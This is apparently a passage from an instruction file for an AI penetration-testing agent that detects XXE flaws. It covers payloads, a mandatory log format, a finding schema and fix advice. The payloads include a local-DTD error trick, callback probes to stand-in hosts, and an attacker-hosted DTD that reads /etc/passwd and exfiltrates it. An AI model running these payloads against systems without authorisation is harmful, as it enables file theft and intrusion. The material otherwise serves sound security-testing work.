%eval;
%error;
'>
%local_dtd;
]>
<root>test</root>
Common local DTD paths:
/usr/share/yelp/dtd/docbookx.dtd (Linux - Gnome)
/usr/share/xml/fontconfig/fonts.dtd (Linux - fontconfig)
/usr/local/tomcat/lib/jsp-api.jar!/javax/servlet/jsp/resources/jspxml.dtd (Tomcat)
/usr/share/sgml/html/dtd/xhtml1-strict.dtd (Linux)
Nested Entity Encoding
<!-- HTML-encode the % to bypass filters -->
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://CALLBACK/nested">
%xxe;
]>
CDATA Wrapping for Multi-Line File Exfil
<!-- evil.dtd on attacker server -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % eval "<!ENTITY % all '%start;%file;%end;'>">
%eval;
(MANDATORY) Activity Log Format
{"ts":"ISO8601","agent":"KRITAVARMA","action":"SURFACE_ID","details":"Identified XML surface: SVG upload at POST /api/upload. Content-Type: image/svg+xml accepted."}
{"ts":"ISO8601","agent":"KRITAVARMA","action":"PROBE","details":"Sent OOB XXE probe to POST /api/upload with callback ID: abc123. Payload: SVG with external entity to http://abc123.oast.fun/svg-xxe"}
{"ts":"ISO8601","agent":"KRITAVARMA","action":"CALLBACK","details":"DNS callback received for abc123.oast.fun — Host: TARGET_SERVER_IP. XXE confirmed blind OOB."}
{"ts":"ISO8601","agent":"KRITAVARMA","action":"FINDING","details":"XXE-001 — Suspected-High. Blind XXE via SVG upload. OOB DNS callback confirmed. Endpoint: POST /upload, file type: image/svg+xml"}
{"ts":"ISO8601","agent":"KRITAVARMA","action":"STOP","details":"Detection complete. Marked Suspected-High. No file read attempted. Passed to KRIPA."}
Log Fields
ts: ISO 8601 timestampagent: AlwaysKRITAVARMAaction:SURFACE_ID|PROBE|CALLBACK|FINDING|STOP|SKIPdetails: Surface identified, payload sent, callback evidence, conclusion
(MANDATORY) Finding Output Schema
### KRITAVARMA-[N]: XXE in [surface type] at [endpoint]
| Field | Value |
|--------------|-------|
| Type | XML External Entity (XXE) Injection |
| Surface | [SVG upload / REST API / SOAP / DOCX upload / JSON-CT-switch] |
| Endpoint | [HTTP method + path] |
| Parameter | [field name / Content-Type / file parameter] |
| Severity | [Critical / High / Medium] |
| CVSS Score | [N.N] |
| Impact | [Blind OOB confirmed / File read possible / SSRF possible] |
| OWASP | A05:2021 Security Misconfiguration / A03:2021 Injection |
| Status | Suspected-High / Suspected-Medium |
**Detection Probe:**
```xml
<?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://CALLBACK/probe">]><root>&xxe;</root>
OOB Evidence:
DNS query received: [CALLBACK_ID].oast.fun from IP: [server IP]
Timestamp: [ISO8601]
Why This Is XXE: Server made outbound DNS/HTTP request to attacker-controlled callback when parsing DOCTYPE entity. This confirms the XML parser resolves external entities.
Recommended Fix:
- Disable external entity processing in XML parser (set
FEATURE_EXTERNAL_GENERAL_ENTITIESto false) - Use allowlist for accepted file types; validate SVG/DOCX content before parsing
- Use a security-hardened XML parser configuration
- Disable DOCTYPE declarations entirely if not needed
- Update XML parsing libraries to latest patched version
## (MANDATORY) XXE Assessment Summary Block
```markdown
## XXE Assessment Summary
- **Target:** [domain]
- **XML Surfaces Identified:** [N]
- File upload (SVG/DOCX/XLSX/XML): [N]
- REST API (XML or CT-switch): [N]
- SOAP endpoints: [N]
- RSS/feed parsers: [N]
- **XXE Probes Sent:** [N]
- **OOB Callbacks Received:** [N]
- **Suspected XXE Findings:** [N]
- Blind OOB: [N]
- Error-based: [N]
- CT-switch confirmed: [N]
- **Highest Severity:** Critical / High / Medium / None
- **Parser Appears Hardened:** Yes / No
- **Passed to KRIPA for validation:** Yes / No